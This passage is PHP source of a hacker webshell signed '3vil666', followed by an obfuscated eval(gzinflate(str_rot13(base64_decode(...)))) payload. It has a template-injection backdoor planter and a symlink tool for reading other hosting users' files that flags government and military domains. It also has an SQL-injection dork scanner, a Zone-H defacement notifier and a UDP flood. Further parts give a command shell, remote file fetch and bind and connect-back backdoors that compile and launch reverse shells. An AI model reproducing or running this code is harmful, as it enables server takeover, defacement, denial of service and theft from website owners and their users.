<INPUT value=\"Set\" style='color:#FF0000;background-color:#000000' name=\"send\" type=\"submit\">
</FORM></center>";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$index = $_POST['index'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$index=str_replace("\'","'",$index);
$set_index = "{\${eval(base64_decode(\'";
$set_index .= base64_encode("echo \"$index\";");
$set_index .= "\'))}}{\${exit()}}</textarea>";
echo("UPDATE template SET template ='".$set_index."' ") ;
$ok=@mysql_query("UPDATE template SET template ='".$set_index."'") or die(mysql_error());
if($ok){
echo "!! update finish !!<br><br>";
}
}
# Footer
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=symlink" method="post">
<?php
@set_time_limit(0);
echo "<center>";
@mkdir('sym',0777);
$htaccess = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$write =@fopen ('sym/.htaccess','w');
fwrite($write ,$htaccess);
@symlink('/','sym/root');
$filelocation = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "<br><br><div class='tmp'><table border='1' bordercolor='#FF0000' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone "(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@symlink('/','sym/root');
$name = $string[1][0];
$iran = '\.ir';
$israel = '\.il';
$indo = '\.id';
$sg12 = '\.sg';
$edu = '\.edu';
$gov = '\.gov';
$gose = '\.go';
$gober = '\.gob';
$mil1 = '\.mil';
$mil2 = '\.mi';
if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0]))
{
$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
}
echo "
<tr>
<td>
<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
</td>
<td>
'.$UID['name']."
</td>
<td>
<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
</td>
</tr></div> ";
flush();
}
}
}
}
echo "</center></table>";
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'about'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=About" method="post">
<center><br><br><font size=10> FUCKS MALAYSIA</font></center><br><br><br><br>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'sqli-scanner'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=sqli-scanner" method="post">
<?php
echo '<br><br><center><form method="post" action=""><font color="red">Dork :</font> <input type="text" value="" name="dork" style="color:#FF0000;background-color:#000000" size="20"/><input type="submit" style="color:#FF0000;background-color:#000000" name="scan" value="Scan"></form></center>';
ob_start();
set_time_limit(0);
if (isset($_POST['scan'])) {
$browser = $_SERVER['HTTP_USER_AGENT'];
$first = "startgoogle.startpagina.nl/index.php?q=";
$sec = "&start=";
$reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/';
for($id=0 ; $id<=30; $id++){
$page=$id*10;
$dork=urlencode($_POST['dork']);
$url = $first.$dork.$sec.$page;
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
$result = curl_exec($curl);
curl_close($curl);
preg_match_all($reg,$result,$matches);
}
foreach($matches[1] as $site){
$url = preg_replace("/=/", "='", $site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
curl_setopt($curl,CURLOPT_TIMEOUT,'5');
$GET=curl_exec($curl);
if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch​_row()|SELECT *
FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) {
echo '<center><b><font color="#E10000">Found : </font><a href="'.$url.'" target="_blank">'.$url.'</a><font color=#FF0000> <-- SQLI Vuln
Found..</font></b></center>';
ob_flush();flush();
}else{
echo '<center><font color="#FFFFFF"><b>'.$url.'</b></font><font color="#0FFF16"> <-- Not Vuln</font></center>';
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'zone-h')){ ?>
<form action="?y=<?php echo $pwd; ?>&x=zone-h" method="post">
<br><br><? echo '<p style="text-align: center;"> <img alt="" src="http://www.zone-h.org/images/logo.gif" style="width: 261px; height: 67px;" /></p>
<center><span style="font-size:1.6em;"> .: Notifier :. </span></center><center><form action="" method="post"><input class="inputz" type="text" name="defacer" size="67" value="3vil666" /><br> <select class="inputz" name="hackmode">
<option>------------------------------------SELECT-------------------------------------</option>
<option style="background-color: rgb(0, 0, 0);" value="1">known vulnerability (i.e. unpatched system)</option>
<option style="background-color: rgb(0, 0, 0);" value="2" >undisclosed (new) vulnerability</option>
<option style="background-color: rgb(0, 0, 0);" value="3" >configuration / admin. mistake</option>
<option style="background-color: rgb(0, 0, 0);" value="4" >brute force attack</option>
<option style="background-color: rgb(0, 0, 0);" value="5" >social engineering</option>
<option style="background-color: rgb(0, 0, 0);" value="6" >Web Server intrusion</option>
<option style="background-color: rgb(0, 0, 0);" value="7" >Web Server external module intrusion</option>
<option style="background-color: rgb(0, 0, 0);" value="8" >Mail Server intrusion</option>
<option style="background-color: rgb(0, 0, 0);" value="9" >FTP Server intrusion</option>
<option style="background-color: rgb(0, 0, 0);" value="10" >SSH Server intrusion</option>
<option style="background-color: rgb(0, 0, 0);" value="11" >Telnet Server intrusion</option>
<option style="background-color: rgb(0, 0, 0);" value="12" >RPC Server intrusion</option>
<option style="background-color: rgb(0, 0, 0);" value="13" >Shares misconfiguration</option>
<option style="background-color: rgb(0, 0, 0);" value="14" >Other Server intrusion</option>
<option style="background-color: rgb(0, 0, 0);" value="15" >SQL Injection</option>
<option style="background-color: rgb(0, 0, 0);" value="16" >URL Poisoning</option>
<option style="background-color: rgb(0, 0, 0);" value="17" >File Inclusion</option>
<option style="background-color: rgb(0, 0, 0);" value="18" >Other Web Application bug</option>
<option style="background-color: rgb(0, 0, 0);" value="19" >Remote administrative panel access bruteforcing</option>
<option style="background-color: rgb(0, 0, 0);" value="20" >Remote administrative panel access password guessing</option>
<option style="background-color: rgb(0, 0, 0);" value="21" >Remote administrative panel access social engineering</option>
<option style="background-color: rgb(0, 0, 0);" value="22" >Attack against administrator(password stealing/sniffing)</option>
<option style="background-color: rgb(0, 0, 0);" value="23" >Access credentials through Man In the Middle attack</option>
<option style="background-color: rgb(0, 0, 0);" value="24" >Remote service password guessing</option>
<option style="background-color: rgb(0, 0, 0);" value="25" >Remote service password bruteforce</option>
<option style="background-color: rgb(0, 0, 0);" value="26" >Rerouting after attacking the Firewall</option>
<option style="background-color: rgb(0, 0, 0);" value="27" >Rerouting after attacking the Router</option>
<option style="background-color: rgb(0, 0, 0);" value="28" >DNS attack through social engineering</option>
<option style="background-color: rgb(0, 0, 0);" value="29" >DNS attack through cache poisoning</option>
<option style="background-color: rgb(0, 0, 0);" value="30" >Not available</option>
option style="background-color: rgb(0, 0, 0);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
</select> <br>
<select class="inputz" name="reason">
<option >------------------------------------SELECT-------------------------------------</option>
<option style="background-color: rgb(0, 0, 0);" value="1" >Heh...just for fun!</option>
<option style="background-color: rgb(0, 0, 0);" value="2" >Revenge against that website</option>
<option style="background-color: rgb(0, 0, 0);" value="3" >Political reasons</option>
<option style="background-color: rgb(0, 0, 0);" value="4" >As a challenge</option>
<option style="background-color: rgb(0, 0, 0);" value="5" >I just want to be the best defacer</option>
<option style="background-color: rgb(0, 0, 0);" value="6" >Patriotism</option>
<option style="background-color: rgb(0, 0, 0);" value="7" >Not available</option>
option style="background-color: rgb(0, 0, 0);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
</select> <br>
<textarea class="inputz" name="domain" cols="90" rows="20">List Of Domains, 20 Rows.</textarea><br>
<input class="inputz" type="submit" value=" Send Now !! " name="SendNowToZoneH"/>
</form>'; ?>
<?
echo "</form></center>";?>
<?
function ZoneH($url, $hacker, $hackmode,$reson, $site )
{
$k = curl_init();
curl_setopt($k, CURLOPT_URL, $url);
curl_setopt($k,CURLOPT_POST,true);
curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
$kubra = curl_exec($k);
curl_close($k);
return $kubra;
}
{
ob_start();
$sub = @get_loaded_extensions();
if(!in_array("curl", $sub))
{
die('<center><b>[-] Curl Is Not Supported !![-]</b></center>');
}
$hacker = $_POST['defacer'];
$method = $_POST['hackmode'];
$neden = $_POST['reason'];
$site = $_POST['domain'];
if (empty($hacker))
{
die ("<center><b>[+] YOU MUST FILL THE ATTACKER NAME [+]</b></center>");
}
elseif($method == "--------SELECT--------")
{
die("<center><b>[+] YOU MUST SELECT THE METHOD [+]</b></center>");
}
elseif($neden == "--------SELECT--------")
{
die("<center><b>[+] YOU MUST SELECT THE REASON [+]</b></center>");
}
elseif(empty($site))
{
die("<center><b>[+] YOU MUST INTER THE SITES LIST [+]</b></center>");
}
$i = 0;
$sites = explode("
", $site);
while($i < count($sites))
{
if(substr($sites[$i], 0, 4) != "http")
{
$sites[$i] = "http://".$sites[$i];
}
ZoneH("http://www.zone-h.com/notify/single", $hacker, $method, $neden, $sites[$i]);
echo "Domain : ".$sites[$i]." Defaced Last Years !";
++$i;
}
echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]";
}
?>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'dos'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=dos" method="post">
<?php
//UDP
if(isset($_GET['host'])&&isset($_GET['time']))
{
$packets = 0;
ignore_user_abort(TRUE);
set_time_limit(0);
$exec_time = $_GET['time'];
$time = time();
//print "Started: ".time('d-m-y h:i:s')."<br>";
$max_time = $time+$exec_time;
$host = $_GET['host'];
for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){ break; }
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second
";
echo '<br><br>
<form action="'.$surl.'" method=GET>
<input type="hidden" name="act" value="phptools">
Host: <br><input type=text name=host><br>
Length (seconds): <br><input type=text name=time><br>
<input type=submit value=Go>
</form>';
}
else
{
echo '<center><form action=? method=GET><input type="hidden" name="act" value="phptools">
<table class="tabnet" style="width:300px;">
<tr>
<th colspan="2">UDP Flood</th>
</tr>
<tr>
<td> Host</td>
<td><input style="width:220px;" class="inputz" type=text name=host value=></td>
</tr>
<tr>
<td> Length (seconds)</td>
<td><input style="width:220px;" class="inputz" type=text name=time value=></td>
</tr>
<tr>
<td><input style="width:100%;" class="inputzbut" type="submit" value="Attack !" /></td>
</tr>
</table>
</center>';
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'dos'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=dos" method="post">
<?php
//UDP
if(isset($_GET['host'])&&isset($_GET['time']))
{
$packets = 0;
ignore_user_abort(TRUE);
set_time_limit(0);
$exec_time = $_GET['time'];
$time = time();
//print "Started: ".time('d-m-y h:i:s')."<br>";
$max_time = $time+$exec_time;
$host = $_GET['host'];
for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){ break; }
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second
";
echo '<br><br>
<form action="'.$surl.'" method=GET>
<input type="hidden" name="act" value="phptools">
Host: <br><input type=text name=host><br>
Length (seconds): <br><input type=text name=time><br>
<input type=submit value=Go>
</form>';
}
else
{
echo '<center><form action=? method=GET><input type="hidden" name="act" value="phptools">
<table class="tabnet" style="width:300px;">
<tr>
<th colspan="2">UDP Flood</th>
</tr>
<tr>
<td> Host</td>
<td><input style="width:220px;" class="inputz" type=text name=host value=></td>
</tr>
<tr>
<td> Length (seconds)</td>
<td><input style="width:220px;" class="inputz" type=text name=time value=></td>
</tr>
<tr>
<td><input style="width:100%;" class="inputzbut" type="submit" value="Go" /></td>
</tr>
</table>
</center>';
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo'))
{
@ob_start();
eval("phpinfo();");
$buff = @ob_get_contents();
@ob_end_clean();
$awal = strpos($buff,"<body>")+6;
$akhir = strpos($buff,"</body>");
echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
}
elseif(isset($_GET['view']) && ($_GET['view'] != ""))
{
if(is_file($_GET['view']))
{
if(!isset($file)) $file = magicboom($_GET['view']);
if(!$win && $posix)
{
$name=@posix_getpwuid(@fileowner($file));
$group=@posix_getgrgid(@filegroup($file));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else { $owner = $user; }
$filn = basename($file);
echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
<tr>
<td>Filename</td>
<td>
<span id=\"".clearspace($filn)."_link\">".$file."</span>
<form action=\"?y=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
</form>
</td>
</tr>
<tr>
<td>Size</td>
<td>".ukuran($file)."</td>
</tr>
<tr>
<td>Permission</td>
<td>".get_perms($file)."</td>
</tr>
<tr>
<td>Owner</td>
<td>".$owner."</td>
</tr>
<tr>
<td>Create time</td>
<td>".date("d-M-Y H:i",@filectime($file))."</td>
</tr>
<tr>
<td>Last modified</td>
<td>".date("d-M-Y H:i",@filemtime($file))."</td>
</tr>
<tr>
<td>Last accessed</td>
<td>".date("d-M-Y H:i",@fileatime($file))."</td>
</tr>
<tr>
<td>Actions</td>
<td><a href=\"?y=$pwd&edit=$file\">edit</a>
| <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a>
| <a href=\"?y=$pwd&delete=$file\">delete</a>
| <a href=\"?y=$pwd&dl=$file\">download</a> (<a href=\"?y=$pwd&dlgzip=$file\">gz</a>)
</td>
</tr>
<tr>
<td>View</td>
<td><a href=\"?y=".$pwd."&view=".$file."\">text</a>
| <a href=\"?y=".$pwd."&view=".$file."&type=code\">code</a>
| <a href=\"?y=".$pwd."&view=".$file."&type=image\">img</a>
</td>
</tr>
</table> ";
if(isset($_GET['type']) && ($_GET['type']=='image'))
{ echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&img=".$filn."\"></div>"; }
elseif(isset($_GET['type']) && ($_GET['type']=='code'))
{ echo "<div class=\"viewfile\">"; $file = wordwrap(@file_get_contents($file),"240","
"); @highlight_string($file); echo "</div>"; }
else { echo "<div class=\"viewfile\">"; echo nl2br(htmlentities((@file_get_contents($file)))); echo "</div>"; }
}
elseif(is_dir($_GET['view'])){ echo showdir($pwd,$prompt); }
}
elseif(isset($_GET['edit']) && ($_GET['edit'] != ""))
{
if(isset($_POST['save']))
{
$file = $_POST['saveas'];
$content = magicboom($_POST['content']);
if($filez = @fopen($file,"w"))
{
$time = date("d-M-Y H:i",time());
if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
else $msg = "failed to save"; @fclose($filez);
}
else $msg = "permission denied";
}
if(!isset($file)) $file = $_GET['edit'];
if($filez = @fopen($file,"r"))
{
$content = "";
while(!feof($filez))
{
$content .= htmlentities(str_replace("''","'",fgets($filez)));
}
@fclose($filez);
} ?>
<form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
<table class="cmdbox">
<tr>
<td colspan="2">
<textarea class="output" name="content"> <?php echo $content; ?> </textarea>
</td>
<tr>
<td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" />
<input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> <?php echo $msg; ?>
</td>
</tr>
</table>
</form>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'upload'))
{
if(isset($_POST['uploadcomp']))
{
if(is_uploaded_file($_FILES['file']['tmp_name']))
{
$path = magicboom($_POST['path']);
$fname = $_FILES['file']['name'];
$tmp_name = $_FILES['file']['tmp_name'];
$pindah = $path.$fname;
$stat = @move_uploaded_file($tmp_name,$pindah);
if ($stat) { $msg = "file uploaded to $pindah"; }
else $msg = "failed to upload $fname";
}
else $msg = "failed to upload $fname";
}
elseif(isset($_POST['uploadurl']))
{
$pilihan = trim($_POST['pilihan']);
$wurl = trim($_POST['wurl']);
$path = magicboom($_POST['path']);
$namafile = download($pilihan,$wurl);
$pindah = $path.$namafile;
if(is_file($pindah)) { $msg = "file uploaded to DIR $pindah"; }
else $msg = "failed ! to upload $namafile"; }
?>
<form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr>
<th colspan="2">Upload from computer</th>
</tr>
<tr>
<td colspan="2">
<p style="text-align:center;">
<input style="color:#000000;" type="file" name="file" />
<input type="submit" name="uploadcomp" class="inputzbut" value="Go !" style="width:80px;">
</p>
</td>
</tr>
<tr>
<td colspan="2">
<input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" />
</td>
</tr>
</table>
</form>
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr>
<th colspan="2">Upload from url</th>
</tr>
<tr>
<td colspan="2">
<form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=upload">
<table>
<tr>
<td>url</td>
<td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td>
</tr>
<tr>
<td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td>
</tr>
<tr>
<td>
<select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select>
</td>
<td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go !" style="width:246px;"></td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit'))
{
if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C'))
{
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdc.c",$port_bind_bd_c);
exe("gcc -o bdc bdc.c");
exe("chmod 777 bdc");
@unlink("bdc.c");
exe("./bdc ".$port." ".$passwrd." &");
$scan = exe("ps aux");
if(eregi("./bdc $por",$scan))
{
$msg = "<p>Process found running, backdoor setup successfully.</p>";
}
else
{
$msg = "<p>Process not found running, backdoor not setup successfully.</p>";
}
}
elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl'))
{
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdp",$port_bind_bd_pl);
exe("chmod 777 bdp");
$p2=which("perl");
exe($p2." bdp ".$port." &");
$scan = exe("ps aux");
if(eregi("$p2 bdp $port",$scan))
{ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; } }
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C'))
{
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcc.c",$back_connect_c);
exe("gcc -o bcc bcc.c");
exe("chmod 777 bcc");
@unlink("bcc.c");
exe("./bcc ".$ip." ".$port." &");
$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl'))
{
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcp",$back_connect);
exe("chmod +x bcp");
$p2=which("perl");
exe($p2." bcp ".$ip." ".$port." &");
$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
{
$pilihan = trim($_POST['pilihan']);
$wurl = trim($_POST['wurl']);
$namafile = download($pilihan,$wurl);
if(is_file($namafile)) { $msg = exe($wcmd); } else $msg = "error: file not found $namafile"; }
?>
<table class="tabnet">
<tr>
<th>Port Binding</th>
<th>Connect Back</th>
<th>Load and Exploit</th>
</tr>
<tr>
<td>
<form method="post" actions="?y=<?php echo $pwd; ?>&x=netsploit">
<table>
<tr>
<td>Port</td>
<td>
<input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>">
</td>
</tr>
<tr>
<td>Password</td>
<td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td>
</tr>
<tr>
<td>Use</td>
<td style="text-align:justify">
<p>
<select class="inputz" size="1" name="use">
<option value="Perl">Perl</option>
<option value="C">C</option>
</select>
<input class="inputzbut" type="submit" name="bind" value="Bind !" style="width:120px">
</td>
</tr>
</table>
</form>
</td>
<td>
<form method="post" actions="?y=<?php echo $pwd; ?>&x=netsploit">
<table>
<tr>
<td>IP</td>
<td>
<input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>">
</td>
</tr>
<tr>
<td>Port</td>
<td>
<input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>">
</td>
</tr>
<tr>
<td>Use</td>
<td style="text-align:justify">
<p>
<select size="1" class="inputz" name="use">
<option value="Perl">Perl</option>
<option value="C">C</option>
</select>
<input type="submit" name="backconn" value="Connect !" class="inputzbut" style="width:120px">
</td>
</tr>
</table>
</form>
</td>
<td>
<form method="post" actions="?y=<?php echo $pwd; ?>&x=netsploit">
<table>
<tr>
<td>url</td>
<td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td>
</tr>
<tr>
<td>cmd</td>
<td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
</tr>
<tr>
<td>
<select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select>
</td>
<td colspan="2">
<input type="submit" name="expcompile" class="inputzbut" value="Go !" style="width:246px;">
</td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'shell'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=shell" method="post">
<table class="cmdbox">
<tr>
<td colspan="2">
<textarea class="output" readonly> <?php if(isset($_POST['submitcmd'])) { echo @exe($_POST['cmd']); } ?> </textarea>
</td>
</tr>
<tr>
<td colspan="2"><?php echo $prompt; ?>
<input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" />
<input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" />
</td>
</tr>
</table>
</form> <?php
}
else
{
if(isset($_GET['delete']) && ($_GET['delete'] != ""))
{
$file = $_GET['delete']; @unlink($file);
}
elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != ""))
{
@rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
}
elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != ""))
{
$path = $pwd.$_GET['mkdir']; @mkdir($path);
}
$buff = showdir($pwd,$prompt);
echo $buff;
}
?>
<center><br><br><br><br>
Coded by 3vil666 2010-2012</br>
Thanks to : Dr. Cruzz | Hmei7 <img src='http://www.rastafarispeaks.com/reasoning/Smileys/default/devil.gif' /><br>
</center>
</div>
</body>
</html>
Did this file decode correctly?
Original Code
eval(gzinflate(str_rot13(base64_decode('7b12auM2tij6uW2t/g8sxadyt1wmUs3lskaa55GakywfzqTEVhxRVum83/4AYxAlyy5KxTmn773tV3kJw8YGsLEnABv4P/+nfvC//+2KaXnpyaAtC3vAb7F7DMfhF0o3OYw194bNZpgr2xKmZZlbjOMF2kR5Wbawa3crK9l5Nv73v+H/owizuqKbENmfCE8QCCJpDxJ9xJ511pZoDeTGeLLCW11Ni4PsryBb1vjrOEjt1J4GxWQjfos9PdWanerT0w0o8D/ch5+w4kmXOVnUaETh4xYYdtpIa/Pvf5OFeMyyWlC3rq+eqOp1TR39EmKMx4OnCfj2R6xKe+P4YrfxukrzBvv48IAJtG/x2A32OybxNMeb16gGnrwjsDSRxm26jdVnVOPiN/cYv5Pte+yP/+EOgymwa8sCRvNx2bR2X8NO/8qbpmE+mbyhm7asidcEV5U1+cni7eu4l63ob/y2N+lnQTNO8hMqYMViz+qp9O6J3/GsA1bhyZZIPigCstH3J1JJcvv6mKjSosw+ehzd5q0n09FgIT87IB0wE0ez3wOEE2J3nK7xlll4ch0M9z9+yqfzcfyk9Lg57kdu2Tscx/yVgpFR0iv2Pz76kKzE836KBnt9A8jm73/7/e9/+yA4mrdpAPnJhqXQlgTK0KZW76+v0B9VYCZiO6YG1v9Mzs8Y+gAaMK7jzyGAkQhXfj52IACAVfLD1dOgQo3B6r2EA8qDo/cH7ESILiAE3QEE5fXC0SAJwKVQwdn6BWOt84XUAGDiv938Bk59uDJ1kQcNXla6cj/EJds2PuNr/O5Lx/v71Ctpq/Hf7uInbIPG4AmylPhiABbm//CspHDxLyyv2bz5+MUydQ1wTkqshxiTjD2OJR6j9pbNq0vTwuo6IHx5rHAV3dXAKjWxji72HRsrZSogdTAOtA0SBwBY6+PHL7jF0trjF9wHDmzbh58fwa8vFgtTzH5nckCb7p2iszQcnTvJ5AXIDb/8eVUGc5iyc3Coz/fYz6A6BIjqThCwCPgLOYRU+3WgrzjZohmFhwMOIKFyBlXpOuanPwUzbsU80j4SkqS7kcqoDCC4372hkgXsOgr74UjINyHpxbwRtey9wj/EkTD4DCROrZasxh9wakSQajHQP0P4MYbIC1oO5JRig9Xr96p09dEv+H/YVH5qfcUKPOrVlclQIRqHswJ795FKDXvv5aMCYBUGFQGDApN4ASYHGEjcy/4KP6PitxAUHFof5ApDyWjsSi0Wc/yBbWUJIEsyivIUAevD+G3M8ENtHQqi0AAxnYmyei8vBBLAB4Ugi25oQJoagIHKglFe455Lhae169ebhHeHLZnO5VOD3D/b7ErAukBa3TFM/voKro2vhmHwmjfuMROQTWfUb0O7YyWgWFx//CrwugDqwAIYyr8DtQUTyFyQbZskyLTHx74arKJbEPyx6aAKAEzdgUhD8ciU++jRFvjPp1ZLKkt7dIsJDAfgevC3QkGY9+3hIaZ4sZsoXQtgODBR0A+IoAni8Qvz2O99wRnAPmCuQtTnCyJF0eQ5R6lJe0nrjwhzQJTYBmIq1yFFYETEbgr2Vk+TGUAP+4DQvdB8pIAg+CXOmxJrm5WCtkNGKAX79AnQt/H+7bmQJZ1nDab8cs3pJg2o9tjgs3KiszIUbNr7Nw2UQVsE1LdEXnbeEOFF02vWfn8ER+v1tkT+X9c865ivtQ6zn7a8CbXYv6Dv+2L0ff/efQc8zkYEAUK6rBv6ZSwsBmtKMoYBaCSaAhtSuhdXhPwtylDigInEEd/xuQd3GuL3Vx1AhLwW9xhCtE1xyJAmA0clIBd9BRaqTl9+BiA9OcfRNg0BtxpYgyUVb04Wkow2FAdHZFrVU5NWrUMZE4UONZkK02iNmiQtmUaVAz0fHZoKkXjWFbVdLq79tBWTmjp//xtKLhYABLkpr1J